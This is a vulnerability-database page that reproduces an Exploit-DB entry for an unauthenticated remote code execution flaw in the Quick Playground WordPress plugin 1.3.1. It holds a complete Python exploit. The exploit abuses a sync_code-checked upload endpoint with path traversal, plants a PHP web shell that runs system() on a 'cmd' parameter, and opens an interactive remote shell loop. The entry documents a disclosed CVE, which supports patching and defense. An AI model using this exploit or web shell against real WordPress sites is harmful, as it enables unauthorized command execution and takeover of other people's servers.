EXPLOITDB 9.8 CRITICAL

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution_EDB-ID:52596

9.8 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

Exploit Title: Quick Playground for WordPress 1.3.1 - Unauthenticated Remote Code Execution Google Dork: N/A Date: 2026-05-22 Exploit Author: cardosource Vendor Homepage: https://quickplayground.com Software Link:...
Visit Original Source

Basic Information

ID EDB-ID:52596
Published May 29, 2026 at 00:00

Affected Product

Affected Versions # Exploit Title: Quick Playground for WordPress 1.3.1 - Unauthenticated Remote Code Execution
# Google Dork: N/A
# Date: 2026-05-22
# Exploit Author: cardosource
# Vendor Homepage: https://quickplayground.com
# Software Link: https://downloads.wordpress.org/plugin/quick-playground.1.3.1.zip
# Version: <= 1.3.1
# Tested on: Docker / Debian / Apache / PHP 8.2 / WordPress 6.x
# CVE: CVE-2026-1830
#
# Description:
#
# The Quick Playground plugin exposes a REST API endpoint:
#
# /wp-json/quickplayground/v1/upload_image/{profile}
#
# The endpoint validates uploads exclusively through a sync_code value
# without requiring authenticated WordPress sessions or capability checks.
#
# Vulnerable code:
#
# if($code == $sync_code)
# return true;
#
# If a valid sync_code is known, weak, reused, leaked, or predictable,
# an attacker can upload arbitrary files using path traversal sequences.
#
# This PoC demonstrates arbitrary PHP file upload resulting in remote
# command execution in a controlled local lab environment.
#
# LAB SETUP:
#
# docker exec -it <container> \
# wp option update qckply_sync_code_default 'exploit123' --allow-root
#
# Usage:
#
# python3 poc.py
#
import requests
import base64
import random
import string
import re

TARGET = "http://localhost:8080"
SYNC_CODE = "exploit123"
PROFILE = "default"

s = requests.Session()
s.headers.update({
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/json"
})

name = ''.join(random.choices(string.ascii_lowercase, k=8)) + ".php"

shell = b'<?php if(isset($_GET["cmd"])){echo "<pre>";system($_GET["cmd"]);echo "</pre>";} ?>'

payload = {
"sync_code": SYNC_CODE,
"filename": f"../../../{name}",
"base64": base64.b64encode(shell).decode()
}

url = f"{TARGET}/wp-json/quickplayground/v1/upload_image/{PROFILE}"

print("[-] Sending webshell...")
r = s.post(url, json=payload, timeout=15)

try:
msg = r.json().get("message", "")
except:
print("[-] Invalid server response")
exit()

if "saving to" not in msg:
print("[-] Upload failed")
print(r.text[:300])
exit()

print("[-] Checking execution...")

shell_url = f"{TARGET}/{name}"

r = s.get(shell_url, params={"cmd": "id"}, timeout=10)

m = re.search(r"<pre>(.*?)</pre>", r.text, re.DOTALL)

if not m:
print("[-] Shell not responding")
exit()

print("[+] RCE CONFIRMED!")
print(f"[+] Shell: {shell_url}?cmd=command")
print(f"[+] User: {m.group(1).strip()}\n")

while True:
cmd = input("$ ").strip()

if cmd == "exit":
break

if not cmd:
continue

r = s.get(shell_url, params={"cmd": cmd}, timeout=30)

m = re.search(r"<pre>(.*?)</pre>", r.text, re.DOTALL)

if m:
print(m.group(1).strip())

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.